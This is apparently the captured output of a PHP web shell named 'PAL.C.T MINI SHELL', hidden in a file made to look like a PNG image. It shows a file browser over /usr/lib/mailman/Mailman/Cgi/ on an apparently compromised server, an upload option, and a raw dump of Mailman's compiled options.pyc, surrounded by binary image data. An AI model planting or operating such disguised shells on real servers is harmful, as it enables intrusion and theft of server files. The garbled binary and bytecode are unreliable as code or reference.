php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/Mailman/Cgi/
upload
files >> //usr/lib/mailman/Mailman/Cgi/options.pyc

Pc@sgdZddkZddkZddkZddkZddkZddklZddkl	Z	ddkl
Z
ddklZddklZddkl
Z
dd	klZdd
kTddklZdZdZeiZeie	iyeefWnej
od
ZdZnXdZddZdZdZdZdZdZ dS(s&Produce and handle the member options.iN(tListType(tmm_cfg(tUtils(tMailList(tErrors(t
MemberAdaptor(ti18n(t*(tsyslogt/iic:<Cs_t}|ititi}|o
t|}|p
|djootd}|i||i	t
d||itd|i	d|i	t|i
GHdS|di}yti|dd}Wntij
o}ti|}td}|i||i	t
d||itd|i	d|i	t|i
GHtd	d
||dSXtidd}|id}	ti|	p
|i}	nti|	|i|	|djo|id
}
|
pj|idp |idp|ido|itdnt||d|	|i
GHdSn&tititi|d}
ti|
}yti |
WnHti!j
o9|itdt||d|	|i
GHdSX|i"|
oF|i#djo6|itdt||d|	|i
GHdS|
i}y|i$|}
Wnti%j
o
d}
nX||
jo
d}
n|id}ti|p|i&|
}n|i|ti|d}|i'do|di(}nbt)i*i+doNti,t)i*di+d}|o$t-|t.i/jo|d}qn|ot0|||
|
||dS|i'do
|i"|
ozu|i1|i2o*|i3|
|itdddn*|i4|
||itddd|i5Wd|i6XnQ|i#djo|itdn*tdd|
|itdddt|||
|	|i
GHdS|i'do|i"|
o*|i7|
|itdddnQ|i#djo|itdn*tdd|
|itdddt|||
|	|i
GHdS|iddi8}ti9oti:ti;f}n
ti:f}|i<|||
}|o|i<ti=ti;f||
ot|i'doA|itd|i#djotdd |
d}
qWnt|||
|	|i
GHdS|i'd!o7|i>ti:|
GHt|||
|	|i
GHdS|i'd"o<|i7|
t?|||
|
|td|i
GHdS|i'd#oF|pB|itd$td%t?|||
|
||i
GHdS|i@}td&}|i||i	t
d||i	td'g}xUtA||
|gD]=}|iB|
}tC||iD}|iE|iD|fqW|iFtGg}|D]\}}||q'	~}|i	||i
GHdS|i'd(o|id)}tiH||	}|id*}|id+}|iI|
}d} }!|id,}"|"o.|o&|itd-td%tJ}"n|o||jo
d}!n|o|o
d}!nd}#|o|o||jo/t?|||
|
|td.|i
GHdS||
jo/t?|||
|
|td/|i
GHdS|i"|oeti|}$|"o|iD}|#td07}#qGt?|||
|
|td1|i
GHdSnd} nF|p|o7|!o/t?|||
|
|td2|i
GHdS|d3}%tKiKtKiL|%| o|
djo
|
}
n|#td47}#|i1y3z!|iM|
||"|i5Wd|i6XWqtiNj
otd5}#qtiOj
otd6}#qtiPj
otd7}#qtiQj
o|iR}&td8}#qXn|!oM|i1z!|iS|
||"|i5Wd|i6X|#td97}#nt?|||
|
||#|i
GHdS|i'd:o|ptiTp9|itd;t?|||
|
||i
GHdS|id<}'|id=}(|'p|(o/t?|||
|
|td>|i
GHdS|'|(jo/t?|||
|
|td?|i
GHdS|id@})|)o.|o&|itdAtd%tJ})n|g}*|)o|*iUtA||
nx!|*D]}tV||
|'|(qW|iWti:|
GHt?|||
|
|tdB|i
GHdS|i'dCos|idDp/t?|||
|
|tdE|i
GHdS|dF}%tKiKtKiL|%|i1tJ}+zGy|iX|
dGdHdWntiYj
o
tZ}+nX|i5Wd|i6X|i[},|iR}&|i\dIdJd}tdK}|i||i	t
d||+o|i	tdLn|i	tdM|i	|i]|i
GHdS|i'dNod}-d}.d}/g}0xdOti^fdPti_fdQti`fdRtiafdStibfdTticfdUtidfdVtiefdWtifff	D]7\}1}2ytg|i|1}3Wnthtifj
o
d}3nX|3djoqn|2tibjo_|ij|
}4|3o|4tkiljo
tkil}3q|3o|4tkiljo
tkim}3qqn!|3|in|
|2joqn|2ti^jo*|3djo|in|
|2o
d}-n|0iE|2|3fqW||iojo|0iEtp|ifn|0iEtp|f|idX}5|5oKtq|5t/p
|5g}5ng}6|5D]}7|6tris|7q~6}5n|dY}%|i1ztKiKtKiL|%x|0D]\}2}3|2tpjo|it|
|3q*|2tibjo|iu|
|3q*y|iv|
|2|3Wq*tiwj
o
d}.q*tixj
o
d}/q*Xq*W|iy|
|5|i5Wd|i6XdZded[Y}8|8}9|id\o9x6|0D]*\}2}3|2tibjo|3|9_zPq,q,Wn|id]o9x6|0D]*\}2}3|2tidjo|3|9_{PququWn|id^o9x6|0D]*\}2}3|2tifjo|3|9_|PqqWn|id_o9x6|0D]*\}2}3|2ti_jo|3|9_}PqqWn|9oU|p |itd`td%qx+tA||
D]}t~||
|9qwWn|.otda}#n$|/otdb}#n
tdc}#|-o|#tdd7}#nt?|||
|
||#|i
GHdS|i"|
ot?|||
|
|nt|||
||i
GHdS(fNisCGI script errorisInvalid options to CGI script.s<hr>itlocks&No such list <em>%(safelistname)s</em>terrorsNo such list "%s": %s
tkeep_blank_valuestlanguagetemailtloginslogin-unsubslogin-remindsNo address givens#Illegal Email Address: %(safeuser)ssNo such member: %(safeuser)s.tVARHELPtQUERY_STRINGsjYour unsubscription request has been
                    forwarded to the list administrator for approval.ttagts%The confirmation email has been sent.tmischiefs2Unsub attempt of non-member w/ private rosters: %ss4A reminder of your password has been emailed to you.s5Reminder attempt of non-member w/ private rosters: %stpasswordsAuthentication failed.s&Login failure with private rosters: %stlogouttemailpwt	othersubssVThe list administrator may not view the other
            subscriptions for this user.sNote: s3List subscriptions for %(safeuser)s on %(hostname)ssRClick on a link to visit your options page for the
        requested mailing list.schange-of-addresstfullnamesnew-addresssconfirm-addressschangeaddr-globallysThe list administrator may not change the names
            or addresses for this user's other subscriptions.  However, the
            subscription for this mailing list has been changed.sAddresses did not match!s(You are already using that email addresssThe new address you requested %(newaddr)s is already a member of the
%(listname)s mailing list, however you have also requested a global change of
address.  Upon confirmation, any other mailing list containing the address
%(safeuser)s will be changed. s0The new address is already a member: %(newaddr)ssAddresses may not be blankcSs|itiddS(Ni(tUnlocktsystexit(tsignumtframetmlist((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/options.pytsigterm_handler}s
s5A confirmation message has been sent to %(newaddr)s. sBad email address providedsIllegal email address provideds,%(newaddr)s is already a member of the list.s%(newaddr)s is banned from this list.  If you
                      think this restriction is erroneous, please contact
                      the list owners at %(owneraddr)s.s"Member name successfully changed. tchangepwsRThe list administrator may not change the
                    password for a user.tnewpwtconfpwsPasswords may not be blanksPasswords did not match!spw-globallysThe list administrator may not change the
            password for this user's other subscriptions.  However, the
            password for this mailing list has been changed.sPassword successfully changed.tunsubtunsubconfirmsYou must confirm your unsubscription request by turning
                on the checkbox below the <em>Unsubscribe</em> button.  You
                have not been unsubscribed!cSs|itiddS(Ni(RRR(RRR((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/options.pyR s
svia the member options pagetuseracktlistinfotabsolutesUnsubscription resultssYour unsubscription request has been received and
            forwarded on to the list moderators for approval.  You will
            receive notification once the list moderators have made their
            decision.s-You have been successfully unsubscribed from the
            mailing list %(fqdn_listname)s.  If you were receiving digest
            deliveries you may get one more digest.  If you have any questions
            about your unsubscription, please contact the list owners at
            %(owneraddr)s.soptions-submittdigesttmimetdontreceivetackpoststdisablemailtconcealtremindtrcvtopictnodupest	usertopiccSs|itiddS(Ni(RRR(RRR((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/options.pyR Qs
tGlobalcBs)eZdZdZdZdZdZRS(cSst|iidjS(Ni(tlent__dict__tkeys(tself((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/options.pyt__nonzero__tsN(t__name__t
__module__tNonetenableR/R1R*R8(((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/options.pyR3os
sdeliver-globallysremind-globallysnodupes-globallys
mime-globallysThe list administrator may not change the
                options for this user's other subscriptions.  However the
                options for this mailing list subscription has been
                changed.sThe list administrator has disabled digest delivery for
            this list, so your delivery option has not been set.  However your
            other options have been set successfully.sThe list administrator has disabled non-digest delivery
            for this list, so your delivery option has not been set.  However
            your other options have been set successfully.s'You have successfully set your options.sYou may get one last digest.((tDocumenttset_languageRtDEFAULT_SERVER_LANGUAGERt
GetPathPiecesR4t_tSetTitletAddItemtHeadertaddErrortMailmanLogotFormattlowerRRtMMListErrortwebsafeRtcgitFieldStoragetgetvaluet
IsLanguagetpreferred_languageRt	loginpageR;tLCDomaintUnobscureEmailtSLASHtjoint
ValidateEmailtEmailAddressErrortisMembertprivate_rostertgetMemberCPAddresstNotAMemberErrortgetMemberLanguagethas_keytvaluetostenvirontgettparse_qsttypettypesRt
topic_detailstLocktunsubscribe_policytHoldUnsubscriptiontConfirmUnsubscriptiontSaveRtMailUserPasswordtstriptALLOW_SITE_ADMIN_COOKIEStAuthUsert
AuthSiteAdmintWebAuthenticatet
AuthListAdmint	ZapCookietoptions_paget	host_nametlists_of_membert
GetOptionsURLtLinkt	real_nametappendtsorttOrderedListtcanonstrt
getMemberNametFalsetsignaltSIGTERMtChangeMemberAddresstMMBadEmailErrortMMHostileAddresstMMAlreadyAMembertMembershipIsBannedt
GetOwnerEmailtChangeMemberNamet"OWNERS_CAN_CHANGE_MEMBER_PASSWORDStextendtchange_passwordt
MakeCookietDeleteMembertMMNeedApprovaltTruetGetListEmailtGetScriptURLtGetMailmanFootertDigeststDisableMimetDontReceiveOwnPoststAcknowledgePoststDisableDeliverytConcealSubscriptiontSuppressPasswordRemindertReceiveNonmatchingTopicstDontReceiveDuplicatestintt	TypeErrort
ValueErrortgetDeliveryStatusRtENABLEDtBYUSERtgetMemberOptiontGetAvailableLanguagestSETLANGUAGEt
isinstanceturllibtunquote_plustsetMemberLanguagetsetDeliveryStatustsetMemberOptiontCantDigestErrortMustDigestErrortsetMemberTopicsR<R/R1R*tglobal_options(:tdoctpartstlenpartsttitletlistnameRtetsafelistnametcgidataR
tusertsafeusertlcusertcpusertuserlangtvarhelptqsRtuser_or_siteadmin_contexttis_user_or_siteadminthostnametonliststgmlistturltlinkt_[1]tnametitemst
membernametnewaddrtconfirmaddrtoldnametset_addresstset_membernametgloballytmsgtsafenewaddrR t	owneraddrR"t	confirmpwtpw_globallytmliststneedapprovalt
fqdn_listnamet
digestwarnt
cantdigestt
mustdigesttnewvalstitemtflagtnewvaltstatust
topicnamest_[2]tnR3t
globalopts((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/options.pytmain3sd	







 	%!






		

	

		
	

-

	







	







	



	

	



		



 

.


		
	
	
	
	

RcCsd|_|io?ti|dd}|dj	oti|dd}qXn|}ti|i||}|o|dti|7}n|i|}t	t
d|i|d<|it
id||d<|it
id||d<|it
id||d	<|it
id||d
<tddddi|d
<|it
id||d<|it
id||d<|i||d<|it
id||d<|it
id||d<|it
id||d<|it
id||d<|it
id||d<|it
id||d<|it
id||d<|it
id||d<|it
id||d<|it
id||d<|idtddtdddditd|d <|id!|d"<|id#|d$<|id%td&|d'<|id(td)|d*<|id+||d,<||d-<||d.<|id/td0|d1<|i|td2|d3<|id4td5|d6<|id7td8|d9<td:dddi|d;<td<dddi|d=<td>dddi|d?<td@dddi|dA<tt
it
id}	|	djotdB}
n
tdC}
tdD|dE<|i dF|dG<|i dH|dI<|idJtdK|dL<tdMdddi|dN<|i dOdP||dQ<|i!|}|i"ot#dRdS}x|i"D]\}
}}}|oqmnt$i%|
}t&|i'd+dT||fdU}|
|jo
d}nd}|i(tdV|d||
|igqmW|i}n
tdW}||dX<|it
i)d||dY<|it
i)d||dZ<|dj	otd[|d\<nd]|d\<|i*|i+d^||dS(_Nitfor_texts, %ss+1s<mm-results>s<mm-digest-radio-button>is<mm-undigest-radio-button>s<mm-plain-digests-button>s<mm-mime-digests-button>s
mime-globallytcheckeds<mm-global-mime-button>s<mm-delivery-enable-button>s<mm-delivery-disable-button>s<mm-disabled-notice>s<mm-dont-ack-posts-button>s<mm-ack-posts-button>s<mm-receive-own-mail-button>s!<mm-dont-receive-own-mail-button>s&<mm-dont-get-password-reminder-button>s!<mm-get-password-reminder-button>s<mm-public-subscription-button>s<mm-hide-subscription-button>s#<mm-dont-receive-duplicates-button>s<mm-receive-duplicates-button>R$tUnsubscribes<br>R%s*<em>Yes, I really want to unsubscribe</em>s<mm-unsubscribe-button>R"s<mm-new-pass-box>R#s<mm-confirm-pass-box>R!sChange My Passwords<mm-change-pass-button>RsList my other subscriptionss<mm-other-subscriptions-submit>toptionss<mm-form-start>s	<mm-user>s<mm-presentable-user>RsEmail My Password To Mes<mm-email-my-pw>Rs<mm-umbrella-notice>RsLog outs<mm-logout-button>soptions-submitsSubmit My Changess<mm-options-submit-button>spw-globallys<mm-global-pw-changes-button>sdeliver-globallys<mm-global-deliver-button>sremind-globallys<mm-global-remind-button>snodupes-globallys<mm-global-nodupes-button>tdaystdays%(days)d %(units)ss<mm-pending-days>snew-addresss<mm-new-address-box>sconfirm-addresss<mm-confirm-address-box>schange-of-addresssChange My Address and Names<mm-change-address-button>schangeaddr-globallys<mm-global-change-of-address>RR]s<mm-fullname-box>tbordert0s/%s/?VARHELP=%ss
 (Details)R2s<em>No topics defined</em>s<mm-topics>s <mm-suppress-nonmatching-topics>s<mm-receive-nonmatching-topics>sU
You are subscribed to this list with the case-preserved address
<em>%(cpuser)s</em>.s<mm-case-preserved-user>Rsoptions.html(,t
suppress_headtobscure_addressesRtObscureEmailR;t
uncanonstrR|RJtGetStandardReplacementstBoldtFontSizeRGtFormatOptionButtonRRRtCheckBoxRtFormatDisabledNoticeRRRRRtFormatButtonRAtFormatSecureBoxtFormatFormStarttFormatUmbrellaNoticeRtPENDING_REQUEST_LIFERt	FormatBoxtgetMemberTopicsttopicstTableRt
quote_plusRvRtAddRowRRCt	ParseTags(RRRRRtmessagetpresentable_userRtreplacementsRtunitst
usertopicsttableRtpatterntdescriptiont	emptyflagt
quotednametdetailsRttopicsfield((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/options.pyRrs	

2	





	




c	Cs|i}|id}|djotd}td}n1ti|}td}ti|}	d}|i|tdddd	d
ddd
}
|
i	t
td|g|
i|
i
d	dtit|idjoyt|}|itdtd|i|i||o|itd|n|
i	t
|gn|i|
t|}|itd|tdddd	d
ddd
}
|
i	tdgtdddd	d
ddd
}
|djo/|
i	ttdtdddgn|
i	td|g|
i	ttdtdddg|
i	t
tdtdg|
i|
i
d	dd|
i	t
|
g|
i	t
tdtdg|
i|
i
d	dti|
i	td g|
i	t
td!tdg|
i	t
tdtd"g|
i|
i
d	dti|
i	td#g|
i	t
td$td%g|i|
|i||i|idS(&NRs,%(realname)s list: member options login pagesemail address and s7%(realname)s list: member options for user %(safeuser)sRtwidths100%Ritcellspacingitcellpaddingiitbgcolorisdisplang-buttonsView this page inRR
s?In order to change your membership option, you must
    first log in by giving your %(extra)smembership password in the section
    below.  If you don't remember your membership password, you can have it
    emailed to you by clicking on the button below.  If you just want to
    unsubscribe from this list, click on the <em>Unsubscribe</em> button and a
    confirmation message will be sent to you.

    <p><strong><em>Important:</em></strong> From this point on, you must have
    cookies enabled in your browser, otherwise none of your changes will take
    effect.
    s50%sEmail address:tsizeis	Password:RRsLog intcolspanRsBy clicking on the <em>Unsubscribe</em> button, a
    confirmation message will be emailed to you.  This message will have a
    link that you should click on to complete the removal process (you can
    also confirm by email; see the instructions in the confirmation
    message).slogin-unsubsPassword remindersTBy clicking on the <em>Remind</em> button, your
    password will be emailed to you.slogin-remindtRemind(RwRR;RARRJRRBRRtCenterRDtAddCellInfotGetCurrentRowIndexRtWEB_HEADER_COLORR4RtFormRCtSubmitButtontGetLangSelectBoxtHiddentLabeltTextBoxtPasswordBoxR(RRRtlangtrealnamet	actionurlRtextraRtobuserRtlangformtformtptable((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/options.pyRPJsj	

!

!	

!
%%
	
%%
	
%

cCs|i}g}x~tiD]p}||ijoqnti|dd}|i|joqn|i|pqn|i|qW|S(NR
i(RsRt
list_namest
internal_nameRRWRx(RRRRRtglist((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/options.pyRts	
cCsY|d}|iz1titi||i|||iWd|iXdS(NcSs|itiddS(Ni(RRR(RRR((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/options.pyR s
(ReR~RtsetMemberPasswordRiR(RRR"RR ((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/options.pyRs	
c	CsDxJt|D]8}|idoq
nt||dj	oPq
q
WdS|d}|iztiti||idj	o|i||in|i	dj	o|i
|ti|i	n|i
dj	o|i
|ti|i
n|idj	o|i
|ti|in|iWd|iXdS(NRAcSs|itiddS(Ni(RRR(RRR((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/options.pyR s
(tdirt
startswithtgetattrR;ReR~RR<RR/RRRR1RR*RRiR(RRRtattrR ((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/options.pyRs.
		
cCs|id}d}td}t|djoOti|d}x9|iD]$\}}	}
}||joPqQqQWd}n|p/t|||||td|iGHdSt	dddd	}|i
tttd
g|i
|idddd
ti|i
tttdti|g|i
tttddti|	dg|i
tttdti|
gx0tddD]}
|i
|
dd
tiqWt||||||i|iGHdS(NR	s	<missing>iis+Requested topic is not valid: %(topicname)sRiRs100%sTopic filter detailsRiRsName:sPattern (as regexp):s<pre>s</pre>sDescription:i(tsplitR;RAR4RRRRrRGRRRRRRRtWEB_SUBHEADER_COLORRRRJtrangetWEB_ADMINITEM_COLOR(RRRRRRtreflistRt	topicnameRRRRtrow((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/options.pyRds<

	

"
(!t__doc__RR^RKR~RRcRtMailmanRRRRRRtMailman.htmlformattMailman.Logging.SyslogRRSRRAR>R?RR}t	NameErrorRRrRPRtRRRd(((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/options.pyt<module>s@
			U			,
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`